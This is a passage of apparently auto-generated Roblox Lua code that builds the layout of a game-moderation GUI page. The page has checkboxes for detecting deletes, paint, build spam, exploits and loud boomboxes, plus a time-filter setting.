G2L["1ed"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1ed"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1ed"]["Size"] = UDim2.new(0, 12, 0, 12);
G2L["1ed"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["1ed"]["Text"] = [[?]];
G2L["1ed"]["Name"] = [[EnableHelp]];
G2L["1ed"]["Position"] = UDim2.new(0.02367, 0, 0.15999, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow
G2L["1ee"] = Instance.new("Frame", G2L["1e6"]);
G2L["1ee"]["BorderSizePixel"] = 0;
G2L["1ee"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ee"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1ee"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1ee"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ee"]["Name"] = [[EnableDeleteRow]];
G2L["1ee"]["LayoutOrder"] = 2;
G2L["1ee"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteScript
G2L["1ef"] = Instance.new("LocalScript", G2L["1ee"]);
G2L["1ef"]["Name"] = [[EnableDeleteScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteTickBox
G2L["1f0"] = Instance.new("TextButton", G2L["1ee"]);
G2L["1f0"]["TextSize"] = 14;
G2L["1f0"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f0"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1f0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1f0"]["Text"] = [[]];
G2L["1f0"]["Name"] = [[EnableDeleteTickBox]];
G2L["1f0"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteText
G2L["1f1"] = Instance.new("TextLabel", G2L["1ee"]);
G2L["1f1"]["BorderSizePixel"] = 0;
G2L["1f1"]["TextSize"] = 14;
G2L["1f1"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f1"]["BackgroundTransparency"] = 1;
G2L["1f1"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f1"]["Text"] = [[Delete Detection]];
G2L["1f1"]["Name"] = [[EnableDeleteText]];
G2L["1f1"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow
G2L["1f2"] = Instance.new("Frame", G2L["1e6"]);
G2L["1f2"]["BorderSizePixel"] = 0;
G2L["1f2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1f2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1f2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f2"]["Name"] = [[EnablePaintRow]];
G2L["1f2"]["LayoutOrder"] = 2;
G2L["1f2"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintScript
G2L["1f3"] = Instance.new("LocalScript", G2L["1f2"]);
G2L["1f3"]["Name"] = [[EnablePaintScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintTickBox
G2L["1f4"] = Instance.new("TextButton", G2L["1f2"]);
G2L["1f4"]["TextSize"] = 14;
G2L["1f4"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f4"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1f4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1f4"]["Text"] = [[]];
G2L["1f4"]["Name"] = [[EnablePaintTickBox]];
G2L["1f4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintText
G2L["1f5"] = Instance.new("TextLabel", G2L["1f2"]);
G2L["1f5"]["BorderSizePixel"] = 0;
G2L["1f5"]["TextSize"] = 14;
G2L["1f5"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1f5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f5"]["BackgroundTransparency"] = 1;
G2L["1f5"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1f5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f5"]["Text"] = [[Paint Detection]];
G2L["1f5"]["Name"] = [[EnablePaintText]];
G2L["1f5"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow
G2L["1f6"] = Instance.new("Frame", G2L["1e6"]);
G2L["1f6"]["BorderSizePixel"] = 0;
G2L["1f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1f6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f6"]["Name"] = [[EnableSpamRow]];
G2L["1f6"]["LayoutOrder"] = 2;
G2L["1f6"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamScript
G2L["1f7"] = Instance.new("LocalScript", G2L["1f6"]);
G2L["1f7"]["Name"] = [[EnableSpamScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamTickBox
G2L["1f8"] = Instance.new("TextButton", G2L["1f6"]);
G2L["1f8"]["TextSize"] = 14;
G2L["1f8"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f8"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1f8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1f8"]["Text"] = [[]];
G2L["1f8"]["Name"] = [[EnableSpamTickBox]];
G2L["1f8"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamText
G2L["1f9"] = Instance.new("TextLabel", G2L["1f6"]);
G2L["1f9"]["BorderSizePixel"] = 0;
G2L["1f9"]["TextSize"] = 14;
G2L["1f9"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f9"]["BackgroundTransparency"] = 1;
G2L["1f9"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f9"]["Text"] = [[Build Spam Detect..]];
G2L["1f9"]["Name"] = [[EnableSpamText]];
G2L["1f9"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow
G2L["1fa"] = Instance.new("Frame", G2L["1e6"]);
G2L["1fa"]["BorderSizePixel"] = 0;
G2L["1fa"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1fa"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1fa"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1fa"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1fa"]["Name"] = [[EnableExploitsRow]];
G2L["1fa"]["LayoutOrder"] = 2;
G2L["1fa"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsScript
G2L["1fb"] = Instance.new("LocalScript", G2L["1fa"]);
G2L["1fb"]["Name"] = [[EnableExploitsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsTickBox
G2L["1fc"] = Instance.new("TextButton", G2L["1fa"]);
G2L["1fc"]["TextSize"] = 14;
G2L["1fc"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1fc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1fc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1fc"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1fc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1fc"]["Text"] = [[]];
G2L["1fc"]["Name"] = [[EnableExploitsTickBox]];
G2L["1fc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsText
G2L["1fd"] = Instance.new("TextLabel", G2L["1fa"]);
G2L["1fd"]["BorderSizePixel"] = 0;
G2L["1fd"]["TextSize"] = 14;
G2L["1fd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1fd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1fd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1fd"]["BackgroundTransparency"] = 1;
G2L["1fd"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1fd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1fd"]["Text"] = [[Exploit Detection]];
G2L["1fd"]["Name"] = [[EnableExploitsText]];
G2L["1fd"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup
G2L["1fe"] = Instance.new("Frame", G2L["1e4"]);
G2L["1fe"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1fe"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1fe"]["Size"] = UDim2.new(0, 170, 0, 65);
G2L["1fe"]["Position"] = UDim2.new(0, 0, 0.35278, 0);
G2L["1fe"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1fe"]["Name"] = [[MiscGroup]];
G2L["1fe"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscScript
G2L["1ff"] = Instance.new("LocalScript", G2L["1fe"]);
G2L["1ff"]["Name"] = [[MiscScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscToolTip
G2L["200"] = Instance.new("LocalScript", G2L["1fe"]);
G2L["200"]["Name"] = [[MiscToolTip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.UIListLayout
G2L["201"] = Instance.new("UIListLayout", G2L["1fe"]);
G2L["201"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscAccentColor
G2L["202"] = Instance.new("Frame", G2L["1fe"]);
G2L["202"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["202"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["202"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["202"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["202"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["202"]["Name"] = [[MiscAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscTitle
G2L["203"] = Instance.new("TextLabel", G2L["1fe"]);
G2L["203"]["TextWrapped"] = true;
G2L["203"]["BorderSizePixel"] = 0;
G2L["203"]["TextSize"] = 14;
G2L["203"]["TextScaled"] = true;
G2L["203"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["203"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["203"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["203"]["BackgroundTransparency"] = 0.95;
G2L["203"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["203"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["203"]["Text"] = [[Misc]];
G2L["203"]["LayoutOrder"] = 1;
G2L["203"]["Name"] = [[MiscTitle]];
G2L["203"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscTitle.MiscMinimize
G2L["204"] = Instance.new("TextButton", G2L["203"]);
G2L["204"]["BorderSizePixel"] = 0;
G2L["204"]["TextSize"] = 14;
G2L["204"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["204"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["204"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["204"]["BackgroundTransparency"] = 1;
G2L["204"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["204"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["204"]["Text"] = [[-]];
G2L["204"]["Name"] = [[MiscMinimize]];
G2L["204"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow
G2L["205"] = Instance.new("Frame", G2L["1fe"]);
G2L["205"]["BorderSizePixel"] = 0;
G2L["205"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["205"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["205"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["205"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["205"]["Name"] = [[LBoomboxRow]];
G2L["205"]["LayoutOrder"] = 2;
G2L["205"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxScript
G2L["206"] = Instance.new("LocalScript", G2L["205"]);
G2L["206"]["Name"] = [[LBoomboxScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxTickBox
G2L["207"] = Instance.new("TextButton", G2L["205"]);
G2L["207"]["TextSize"] = 14;
G2L["207"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["207"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["207"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["207"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["207"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["207"]["Text"] = [[]];
G2L["207"]["Name"] = [[LBoomboxTickBox]];
G2L["207"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxText
G2L["208"] = Instance.new("TextLabel", G2L["205"]);
G2L["208"]["BorderSizePixel"] = 0;
G2L["208"]["TextSize"] = 14;
G2L["208"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["208"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["208"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["208"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["208"]["BackgroundTransparency"] = 1;
G2L["208"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["208"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["208"]["Text"] = [[Detect Loud Boombox]];
G2L["208"]["Name"] = [[LBoomboxText]];
G2L["208"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow
G2L["209"] = Instance.new("Frame", G2L["1fe"]);
G2L["209"]["BorderSizePixel"] = 0;
G2L["209"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["209"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["209"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["209"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["209"]["Name"] = [[AutoPaintRepRow]];
G2L["209"]["LayoutOrder"] = 8;
G2L["209"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepScript
G2L["20a"] = Instance.new("LocalScript", G2L["209"]);
G2L["20a"]["Name"] = [[AutoPaintRepScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepTickBox
G2L["20b"] = Instance.new("TextButton", G2L["209"]);
G2L["20b"]["TextSize"] = 14;
G2L["20b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20b"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["20b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["20b"]["Text"] = [[]];
G2L["20b"]["Name"] = [[AutoPaintRepTickBox]];
G2L["20b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepText
G2L["20c"] = Instance.new("TextLabel", G2L["209"]);
G2L["20c"]["BorderSizePixel"] = 0;
G2L["20c"]["TextSize"] = 14;
G2L["20c"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["20c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20c"]["BackgroundTransparency"] = 1;
G2L["20c"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["20c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20c"]["Text"] = [[Auto Repaint Bkit]];
G2L["20c"]["Name"] = [[AutoPaintRepText]];
G2L["20c"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide
G2L["20d"] = Instance.new("Frame", G2L["1e3"]);
G2L["20d"]["BorderSizePixel"] = 0;
G2L["20d"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["20d"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["20d"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["20d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20d"]["Name"] = [[TCODetectionRightSide]];
G2L["20d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.UIListLayout
G2L["20e"] = Instance.new("UIListLayout", G2L["20d"]);
G2L["20e"]["Padding"] = UDim.new(0, 7);
G2L["20e"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup
G2L["20f"] = Instance.new("Frame", G2L["20d"]);
G2L["20f"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["20f"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["20f"]["Size"] = UDim2.new(0, 170, 0, 137);
G2L["20f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["20f"]["Name"] = [[GSettingsGroup]];
G2L["20f"]["LayoutOrder"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsScript
G2L["210"] = Instance.new("LocalScript", G2L["20f"]);
G2L["210"]["Name"] = [[GSettingsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsToolTip
G2L["211"] = Instance.new("LocalScript", G2L["20f"]);
G2L["211"]["Name"] = [[GSettingsToolTip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.UIListLayout
G2L["212"] = Instance.new("UIListLayout", G2L["20f"]);
G2L["212"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsTitle
G2L["213"] = Instance.new("TextLabel", G2L["20f"]);
G2L["213"]["TextWrapped"] = true;
G2L["213"]["BorderSizePixel"] = 0;
G2L["213"]["TextSize"] = 14;
G2L["213"]["TextScaled"] = true;
G2L["213"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["213"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["213"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["213"]["BackgroundTransparency"] = 0.95;
G2L["213"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["213"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["213"]["Text"] = [[Detection Settings]];
G2L["213"]["LayoutOrder"] = 1;
G2L["213"]["Name"] = [[GSettingsTitle]];
G2L["213"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsTitle.GSettingsMinimize
G2L["214"] = Instance.new("TextButton", G2L["213"]);
G2L["214"]["BorderSizePixel"] = 0;
G2L["214"]["TextSize"] = 14;
G2L["214"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["214"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["214"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["214"]["BackgroundTransparency"] = 1;
G2L["214"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["214"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["214"]["Text"] = [[-]];
G2L["214"]["Name"] = [[GSettingsMinimize]];
G2L["214"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsAccentColor
G2L["215"] = Instance.new("Frame", G2L["20f"]);
G2L["215"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["215"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["215"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["215"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["215"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["215"]["Name"] = [[GSettingsAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow
G2L["216"] = Instance.new("Frame", G2L["20f"]);
G2L["216"]["BorderSizePixel"] = 0;
G2L["216"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["216"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["216"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["216"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["216"]["Name"] = [[TimeFilterRow]];
G2L["216"]["LayoutOrder"] = 3;
G2L["216"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterText
G2L["217"] = Instance.new("TextLabel", G2L["216"]);
G2L["217"]["BorderSizePixel"] = 0;
G2L["217"]["TextSize"] = 14;
G2L["217"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["217"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["217"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["217"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["217"]["BackgroundTransparency"] = 1;
G2L["217"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["217"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["217"]["Text"] = [[Time Filter]];
G2L["217"]["Name"] = [[TimeFilterText]];
G2L["217"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger
G2L["218"] = Instance.new("TextBox", G2L["216"]);
G2L["218"]["Name"] = [[TimeFilterChanger]];
G2L["218"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["218"]["TextWrapped"] = true;
G2L["218"]["TextSize"] = 14;
G2L["218"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["218"]["TextScaled"] = true;
G2L["218"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["218"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["218"]["PlaceholderText"] = [[(none)]];
G2L["218"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["218"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["218"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["218"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger.TimeFilterScript
G2L["219"] = Instance.new("LocalScript", G2L["218"]);
G2L["219"]["Name"] = [[TimeFilterScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterHelp
G2L["21a"] = Instance.new("TextButton", G2L["216"]);
G2L["21a"]["TextSize"] = 14;
G2L["21a"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["21a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
